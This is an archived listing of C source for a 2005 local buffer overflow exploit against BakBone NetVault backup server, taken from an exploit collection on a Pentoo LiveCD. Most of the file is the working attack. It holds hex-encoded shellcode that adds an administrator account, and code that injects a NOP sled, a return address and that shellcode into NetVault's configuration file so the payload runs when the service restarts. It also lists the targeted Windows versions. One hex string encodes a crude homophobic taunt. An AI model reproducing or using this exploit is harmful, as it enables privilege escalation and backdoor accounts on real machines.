home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / backup / netvault / netvaultlocal.c < prev    next >
C/C++ Source or Header  |  2005-04-05  |  4KB  |  140 lines

  1. /*
  2. for more informations class101.org/netv-locsbof.pdf 
  3. */
  4.  
  5. #include <stdio.h>
  6. #include <string.h>
  7. #ifdef WIN32
  8. #include "winsock2.h"
  9. #pragma comment(lib, "ws2_32")
  10. #else
  11. #include <sys/socket.h>
  12. #include <sys/types.h>
  13. #include <netinet/in.h>
  14. #include <netinet/in_systm.h>
  15. #include <netinet/ip.h>
  16. #include <netdb.h>
  17. #include <arpa/inet.h>
  18. #include <unistd.h>
  19. #include <stdlib.h>
  20. #include <fcntl.h>
  21. #endif
  22.  
  23. char scode1[]=
  24. /*add u:class101 p:class101 (*Administrators *users)*/
  25. "\x33\xC9\x83\xE9\xC7\xE8\xFF\xFF\xFF\xFF\xC0\x5E\x81\x76\x0E\x15"
  26. "\x90\x39\xE8\x83\xEE\xFC\xE2\xF4\xE9\x78\x7F\xE8\x15\x90\xB2\xAD"
  27. "\x29\x1B\x45\xED\x6D\x91\xD6\x63\x5A\x88\xB2\xB7\x35\x91\xD2\x0B"
  28. "\x3B\xD9\xB2\xDC\x9E\x91\xD7\xD9\xD5\x09\x95\x6C\xD5\xE4\x3E\x29"
  29. "\xDF\x9D\x38\x2A\xFE\x64\x02\xBC\x31\x94\x4C\x0B\x9E\xCF\x1D\xE9"
  30. "\xFE\xF6\xB2\xE4\x5E\x1B\x66\xF4\x14\x7B\xB2\xF4\x9E\x91\xD2\x61"
  31. "\x49\xB4\x3D\x2B\x24\x50\x5D\x63\x55\xA0\xBC\x28\x6D\x9F\xB2\xA8"
  32. "\x19\x1B\x49\xF4\xB8\x1B\x51\xE0\xFC\x9B\x39\xE8\x15\x1B\x79\xDC"
  33. "\x10\xEC\x39\xE8\x15\x1B\x51\xD4\x4A\xA1\xCF\x88\x43\x7B\x34\x80"
  34. "\xFA\x5E\xD9\x88\x7D\x08\xC7\x62\x1B\xC7\xC6\x0F\xFD\x7E\xC6\x17"
  35. "\xEA\xF3\x54\x8C\x3B\xF5\x41\x8D\x35\xBF\x5A\xC8\x7B\xF5\x4D\xC8"
  36. "\x60\xE3\x5C\x9A\x35\xF3\x55\x89\x66\xE3\x08\xD8\x24\xB0\x5A\x84"
  37. "\x74\xE3\x4A\xD9\x25\xA1\x19\xC7\x54\xD4\x7D\xC8\x33\xB6\x19\x86"
  38. "\x70\xE4\x19\x84\x7A\xF3\x58\x84\x72\xE2\x56\x9D\x65\xB0\x78\x8C"
  39. "\x78\xF9\x57\x81\x66\xE4\x4B\x89\x61\xFF\x4B\x9B\x35\xF3\x55\x89"
  40. "\x66\xE3\x08\xD8\x24\xB0\x16\xA9\x51\xD4\x39\xE8";
  41.  
  42.  
  43. static char payload[8000];
  44. FILE *fl, *fl2;
  45. char *fp, line[1024];
  46.  
  47. int check(int argc,char *argv[]),i=0,j=0;
  48. int check2();
  49. void ver();
  50. void usage(char* us);
  51.  
  52. char EOL[]="\x0D\x0A";
  53. char esp[]="\xDD\x20\x02\x10";
  54. char vul[]="\x4E\x61\x6D\x65\x3D";
  55. char fun[]="\x3C\x63\x30\x64\x33\x72\x3E\x20\x27\x6C\x6F\x20\x49\x27\x6D\x20"
  56. "\x67\x61\x79\x20\x49\x27\x6D\x20\x66\x72\x6F\x6D\x20\x49\x48\x53";
  57.  
  58.  
  59. int main(int argc,char *argv[])
  60. {
  61. ver();
  62. if (argc>5||argc<2||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;}
  63. if (check(argc,argv)==-1){return -1;}
  64. while (!feof(fl))
  65. {
  66. fgets(line, sizeof(line),fl);
  67. if (strstr(line,vul)){
  68. i++;j++;}
  69. if (i==2){
  70. strcpy(line,vul);
  71. memset(line+5,0x90,600);
  72. memcpy(line+252,esp,4);
  73. memcpy(line+16,fun,32);
  74. memcpy(line+260,scode1,strlen(scode1));
  75. memcpy(line+605,EOL,2);i=0;j++;
  76. }
  77. strcat(payload,line);
  78. }
  79. if (strstr(payload,vul)==NULL||j==1){
  80. printf("[+] \"%s\" isn't a default NetVault file..\n",fp);return -1;}
  81. if (check2()==1){
  82. fprintf(fl,"%s",payload);
  83. printf("[+] \"%s\" correctly exploited\n",fp);
  84. printf("[+] a service restart is needed to execute the payload\n");
  85. }
  86. else printf("[+] can't write to \"%s\", something is wrong...\n",fp);
  87. return 0;
  88.  
  89. }
  90.  
  91. int check(int argc,char *argv[])
  92. {
  93. if (argc>2){fp=argv[2];}
  94. else fp="configure.cfg";
  95. if ((fl =fopen(fp,"r+"))==NULL){
  96. printf("[+] \"%s\" not found or no rights to read/write\n",fp);return -1;}
  97. return 1;
  98. }
  99.  
  100. int check2()
  101. {
  102. if ((fl =fopen(fp,"r+"))==NULL)
  103. return -1;
  104. else return 1;
  105. }
  106.  
  107. void usage(char* us) 
  108. printf("[+] . 101_netv.exe Target (adduser mode) \n");
  109. printf("[+] . 101_netv.exe Target YourFile.cfg (adduser mode) \n");
  110. printf("TARGETS: \n");
  111. printf("[+] 1. Win2k SP4 Server English (*) - v5.0.2195 \n");
  112. printf("[+] 1. Win2k SP4 Pro English (*) - v5.0.2195 \n");
  113. printf("[+] 1. WinXP SP0 Pro. English - v5.1.2600 \n");
  114. printf("[+] 1. WinXP SP1 Pro. English (*) - v5.1.2600 \n");
  115. printf("[+] 1. WinXP SP1a Pro. English (*) - v5.1.2600 \n");
  116. printf("[+] 1. WinXP SP2 Pro. English (*) - v5.1.2600.2180 \n");
  117. printf("[+] 1. Win2k3 SP0 Server English (*) - v5.2.3790 \n");
  118. printf("NOTE: \n");
  119. printf("The exploit mods the netvault's cfg file to add a win32 \n");
  120. printf("user:class101 pass:class101 after a restart of the netvault service. \n");
  121. printf("A wildcard (*) mean tested working, else, supposed working. \n");
  122. printf("A symbol (-) mean all. \n");
  123. printf("Compilation msvc6, cygwin, Linux. \n");
  124. return;
  125. }
  126.  
  127. void ver()
  128. printf(" \n");
  129. printf("==================================[v0.1]====\n");
  130. printf("=====BakBone NetVault, Backup Server===============\n"); 
  131. printf("=====Computername, Local Buffer Overflow Exploit=========\n");
  132. printf("======coded by class101=======[Hat-Squad.com 2005]=====\n");
  133. printf("============================================\n");
  134. printf(" \n");
  135. }
  136.  
  137.  
  138.